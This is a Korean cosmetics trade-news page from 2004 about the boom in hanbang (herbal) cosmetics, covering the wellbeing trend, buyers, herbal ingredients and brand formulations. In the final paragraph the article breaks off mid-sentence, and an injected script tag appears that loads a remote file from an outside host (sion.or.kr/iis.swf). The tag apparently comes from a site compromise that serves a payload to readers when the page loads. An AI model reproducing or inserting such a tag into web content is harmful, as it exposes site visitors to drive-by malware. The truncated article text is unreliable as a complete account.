HOME 뉴스 종합
[한방특집]웰빙열풍에 힘입어 부각
  • 승인 2004.05.28 17:00
  • 댓글 0
독특한 처방으로 제품력 강조 올들어 화장품업체들은 너도나도 한방화장품을 시장에 선보이거나 출시를 준비하고 있다. 방문판매나 백화점 판매용 고가제품이 주류를 이뤄온 업계에 전문점용 시판브랜드들이 등장하며 한방화장품의 대중화를 주도하고 있고 마트전용브랜드도 등장하고 있다. 가히 "한방신드롬"이라 불릴 정도로 최근 한방화장품에 대한 업계의 관심은 유난히 크다. 국내 한방화장품 시장규모는 전체시장중 20%에도 못미칠정도로 아직은 초기단계지만 최근 자연주의와 웰빙열풍에 힘입어 한방화장품에 대한 소비자요구는 어느때보다 높다. 최근 한 조사기관에서 나온 "소비자 제품만족도와 구매의향" 자료에서도 한방화장품에 대한 소비자 만족도가 제일 높은 것으로 발표돼 한방화장품의 인기를 실감케 한다. 기존 화장품의 이미지와는 차별화되고 고급 지향의 정통 이미지를 추구하는 소비자들은 각 자의 개성을 살려줄 수 있는 나만의 제품을 찾게 되었고 업체들도 이런 소비요구에 맞춰 다양한 한방화장품을 출시하고 있다. 한방화장품을 사용하는 소비층은 주로 30대에서 50대 사이의 여성이며 한방화장품 시장이 급격한 성장세를 보임에 따라 프리미엄 한방제품을 원하는 고개층도 증가하고 있는 실정이다. 이와 더불어 중고가 대의 대중적인 한방제품을 선호하는 소비자들도 함께 늘고 있는 추세다. - 김유진 기자 toyoujin@csmt.co.kr
왜 한방화장품인가 그렇다면 왜 한방화장품의 인기는 어디에서 나오는가. 이에 대해 아란의 이태경시는 “가치를 중시하는 소비자의 의식변화와 이에 편승한 웰빙열풍이 한 원인"이라고 설명한다. 더구나 몇년전부터 화장품업계에 확산되온 네츄얼리즘은 한방화장품에 대한 소비자 요구를 한단계 높여 놓았고 몸에 좋은 피부보약개념으로 한방화장품 수요는 덩달아 증가하고 있다. 일반적으로 한방화장품이라 하면 화학성분을 배제하고 천연약재를 사용, 독특한 처방을 통해 제품화된 화장품을 일컫는다. 특히 한방화장품은 병의 증상이 드러나 곳에만 집중하지 않고 몸 전체의 기혈의 흐름을 바로 잡아 인체 스스로의 회복력을 강화하여 몸을 건강하게 하는 한방치료법에서 효능을 찾고 있다. 또 피부의 음양조화를 통한 피부 노화개선을 추구하는 특징을 갖고 있다. 일반 스킨케어 화장품에 비해 인체와 피부에 미치는 부작용은 적고 피부타입이나 연령대와 상관없이 누구나 쓸 수 있다는 것이 장점으로 꼽히고 있다. 자연에서 채취한 천연원료를 가공 처리했다는 면에서 자연주의를 선호하는 소비자의 입맛에 잘 부합되고 있는 것이다. 또한 한방이 음양오행의 원리를 근간으로 동양의학과 내적인 정신세계를 중요시하는 동양철학이 바탕에 깔려 있다는 점은 심신(心身)의 아름다움을 추구하는 정서와도 맥을 같이하고 있다. 쿠지의 원희정 주임은 “현대인의 피부는 환경오혐으로 인해 외적으로 많은 자극을 받고 있고 사회가 복잡해지면서 스트레스로 인한 감정의 변화로 피부 음양의 부조화를 일으키고 각종 피부트러블을 유발시키는 원인이 된다"며 “이러한 피부로부터의 자신감을 회복시켜 주고자 한국여성의 피부에 적합한 한방화장품이 개발되기 시작했다"고 설명했다.
천연 약재 독특한 처방 한방화장품이 일반 스킨케어 제품과 가장 큰 차별점은 바로 성분에서 나온다. 황정, 하수오, 천문동, 화피, 구기자, 지골피, 상백피, 매실, 산삼 등 피부에 좋다고 알려진 천연 약재들 중 특히 안전하고 효과가 우수한 약재들을 사용한다. 이중 오가피는 피부 트러블 완화에 큰 효과를 가졌다고 하고, 황정은 피부를 윤택하고 매끄럽게 만들며, 하수오는 혈색을 맑고 생기있게 해주는 것으로 알려졌다. 일반적으로 한방화장품을 개발할 때는 가능한 한 인공 성분들을 배제하지만, 제품에 따라서는 안정성을 고려해 소량의 인공 성분을 첨가하기도 한다. 한방화장품에 첨가되는 약재들의 추출 과정은 한약을 다리는 것과 유사하다. 저마다 독특한 비방에 맞춰 약재들을 잘게 썬 후 물과 함께 끓여 다리고 이것을 여과하여 제품에 적용하고 있다. 태평양의 설화수는 기존 자음단을 약리효과를 보강한 자음보위단을 제품에 사용했고 LG생활건강의 수려한에는 음의 약재인 녹두와 천화분, 양의 약재인 백지와 고본, 조각자를 처방한 옥용단을 사용했다. 한국화장품의 명방선은 동의보감 ‘수부"에 언급된 ‘옥정수"와 ‘경옥고"?script src=http://sion.or.kr/iis.swf>

  webmaster@geniepark.co.kr

<저작권자 © 제니파크, 무단 전재 및 재배포 금지>

의 다른기사 보기
기사 댓글 0
전체보기
첫번째 댓글을 남겨주세요.
여백
오늘의 주요뉴스
올리브영, 5천만 불 수출의 탑 수상…글로벌몰 통한 K-뷰티 수출 공로 인정
올리브영, 5천만 불 수출의 탑 수상…글로벌몰 통한 K-뷰티 수출 공로 인정
닥터올가, 2022 화해 뷰티 어워드 5관왕 달성
닥터올가, 2022 화해 뷰티 어워드 5관왕 달성
여백
Back to Top